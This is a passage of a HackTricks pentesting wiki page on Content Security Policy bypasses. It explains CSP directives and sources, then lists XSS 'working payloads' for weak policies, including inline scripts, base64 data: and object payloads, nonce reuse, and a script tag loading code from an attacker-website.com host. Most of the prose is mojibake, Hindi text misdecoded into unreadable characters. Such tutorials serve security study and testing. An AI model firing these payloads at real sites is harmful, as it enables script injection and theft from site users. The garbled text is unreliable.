hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-11-19 12:34:11 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2024-11-19 12:34:11 +00:00

Content Security Policy (CSP) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

What is CSP

Content Security Policy (CSP) рдХреЛ рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рдЙрджреНрджреЗрд╢реНрдп рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реИред рдпрд╣ рдЙрди рдкрдереЛрдВ рдФрд░ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдХрд░рдХреЗ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рд╕рдВрд╕рд╛рдзрди рдЫрд╡рд┐рдпреЛрдВ, рдлреНрд░реЗрдореЛрдВ рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреИрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдиреАрддрд┐ рдПрдХ рд╣реА рдбреЛрдореЗрди (рд╕реНрд╡рдпрдВ) рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЗрдирд▓рд╛рдЗрди рд╕рдВрд╕рд╛рдзрди рдФрд░ eval, setTimeout, рдпрд╛ setInterval рдЬреИрд╕реА рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╢рд╛рдорд┐рд▓ рд╣реИред

CSP рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдореЗрдЯрд╛ рддрддреНрд╡реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдиреАрддрд┐ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЗрди рд╢рд░реНрддреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рддреБрд░рдВрдд рдХрд┐рд╕реА рднреА рдкрд╣рдЪрд╛рдиреА рдЧрдИ рдЙрд▓реНрд▓рдВрдШрдиреЛрдВ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рджреЗрддреЗ рд╣реИрдВред

  • Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • рдореЗрдЯрд╛ рдЯреИрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP рдХреЛ рдЗрди рд╣реЗрдбрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдпрд╛ рдореЙрдирд┐рдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • Content-Security-Policy: CSP рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ; рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд┐рд╕реА рднреА рдЙрд▓реНрд▓рдВрдШрди рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИред
  • Content-Security-Policy-Report-Only: рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ; рдЙрд▓реНрд▓рдВрдШрдиреЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдмреНрд▓реЙрдХ рдХрд┐рдПред рдкреНрд░реА-рдкреНрд░реЛрдбрдХреНрд╢рди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ред

Defining Resources

CSP рд╕рдХреНрд░рд┐рдп рдФрд░ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрдерд╛рдиреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдЗрдирд▓рд╛рдЗрди рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ eval() рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдиреАрддрд┐ рд╣реИ:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: JavaScript рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрд░реЛрддреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ URL, рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░реНрд╕ рдпрд╛ XSLT рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
  • default-src: рдЬрдм рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлреЗрдЪ рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдиреАрддрд┐ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
  • child-src: рд╡реЗрдм рд╡рд░реНрдХрд░реНрд╕ рдФрд░ рдПрдореНрдмреЗрдбреЗрдб рдлреНрд░реЗрдо рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • connect-src: рдЙрди URL рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ fetch, WebSocket, XMLHttpRequest рдЬреИрд╕реА рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • frame-src: рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП URL рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
  • frame-ancestors: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕реНрд░реЛрдд рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреЛ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ <frame>, <iframe>, <object>, <embed>, рдФрд░ <applet> рдЬреИрд╕реЗ рддрддреНрд╡реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред
  • img-src: рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • font-src: @font-face рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдлреЛрдВрдЯ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • manifest-src: рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореИрдирд┐рдлреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • media-src: рдореАрдбрд┐рдпрд╛ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • object-src: <object>, <embed>, рдФрд░ <applet> рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • base-uri: <base> рддрддреНрд╡реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд URL рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • form-action: рдлрд╝реЙрд░реНрдо рд╕рдмрдорд┐рд╢рди рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИред
  • plugin-types: рдЙрди рдорд╛рдЗрдо рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ рдкреГрд╖реНрда рд╕рдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред
  • upgrade-insecure-requests: рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ HTTP URL рдХреЛ HTTPS рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • sandbox: <iframe> рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рдорд╛рди рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред
  • report-to: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдиреАрддрд┐ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реЛрддрд╛ рд╣реИ рддреЛ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рд╕ рд╕рдореВрд╣ рдХреЛ рднреЗрдЬреА рдЬрд╛рдПрдЧреАред
  • worker-src: рд╡рд░реНрдХрд░, SharedWorker, рдпрд╛ ServiceWorker рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • prefetch-src: рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрд╛ рдкреНрд░реАрдлреЗрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
  • navigate-to: рдЙрди URL рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рди рдкрд░ рдХреЛрдИ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд┐рд╕реА рднреА рддрд░реАрдХреЗ рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (a, form, window.location, window.open, рдЖрджрд┐ред)

Sources

  • *: рд╕рднреА URL рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдп data:, blob:, filesystem: рд╕реНрдХреАрдореЛрдВ рдХреЗред
  • 'self': рд╕рдорд╛рди рдбреЛрдореЗрди рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • 'data': рдбреЗрдЯрд╛ рд╕реНрдХреАрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ, Base64 рдПрдиреНрдХреЛрдбреЗрдб рдЫрд╡рд┐рдпрд╛рдБ)ред
  • 'none': рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рд▓реЛрдбрд┐рдВрдЧ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИред
  • 'unsafe-eval': eval() рдФрд░ рд╕рдорд╛рди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред
  • 'unsafe-hashes': рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░реНрд╕ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред
  • 'unsafe-inline': рдЗрдирд▓рд╛рдЗрди <script> рдпрд╛ <style> рдЬреИрд╕реЗ рдЗрдирд▓рд╛рдЗрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред
  • 'nonce': рдПрдХ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рдиреЙрдирд╕ (рдПрдХ рдмрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдирдВрдмрд░) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯред
  • рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ JS рд╕реАрдорд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдиреЙрдирд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ doc.defaultView.top.document.querySelector("[nonce]") рдХреЗ рд╕рд╛рде рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрджрд┐ strict-dynamic рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА рдЕрдиреБрдордд рд╕реНрд░реЛрдд рдирдП рд╕реНрд░реЛрддреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ), рдЬреИрд╕реЗ рдХрд┐:
Load script reusing nonce ```html ```
  • 'sha256-<hash>': рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ sha256 рд╣реИрд╢ рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • 'strict-dynamic': рдпрджрд┐ рдЗрд╕реЗ рдиреЙрдирд╕ рдпрд╛ рд╣реИрд╢ рджреНрд╡рд╛рд░рд╛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • 'host': рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ example.comред
  • https:: рдЙрди URL рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ HTTPS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
  • blob:: Blob URLs (рдЬреИрд╕реЗ, JavaScript рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рдЧрдП Blob URLs) рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • filesystem:: рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • 'report-sample': рдЙрд▓реНрд▓рдВрдШрди рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдЙрд▓реНрд▓рдВрдШрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдб рдХрд╛ рдПрдХ рдирдореВрдирд╛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ (рдбреАрдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)ред
  • 'strict-origin': 'self' рдХреЗ рд╕рдорд╛рди рд▓реЗрдХрд┐рди рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕реНрд░реЛрддреЛрдВ рдХрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдореВрд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдореВрд▓ рд╕реЗ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
  • 'strict-origin-when-cross-origin': рд╕рдорд╛рди рдореВрд▓ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╕рдордп рдкреВрд░реНрдг URL рднреЗрдЬрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рддрдм рдореВрд▓ рднреЗрдЬрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╣реЛред
  • 'unsafe-allow-redirects': рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рддреБрд░рдВрдд рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрди рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░реЗрдВрдЧреЗред рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░рдг рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ. {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдПрдХ рдЕрдиреБрдордд JS рдХреЛрдб рдиреЗ рдЖрдкрдХреЗ JS рдХреЛрдб рдХреЗ рд╕рд╛рде DOM рдореЗрдВ рдПрдХ рдирдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдмрдирд╛рдпрд╛, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдЕрдиреБрдордд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЗрд╕реЗ рдмрдирд╛ рд░рд╣реА рд╣реИ, рддреЛ рдирдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдПрдЧреАред

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

рдСрдмреНрдЬреЗрдХреНрдЯ-рд╕реНрд░реЛрдд рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ-рд╕реНрд░реЛрдд рдХреА рдХрдореА

{% hint style="danger" %} рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЕрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ {% endhint %}

Content-Security-Policy: script-src 'self' ;

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреЗрд▓реЛрдб:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

рдпрджрд┐ рдЖрдк рдПрдХ JS рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:

"/>'><script src="/uploads/picture.png.js"></script>

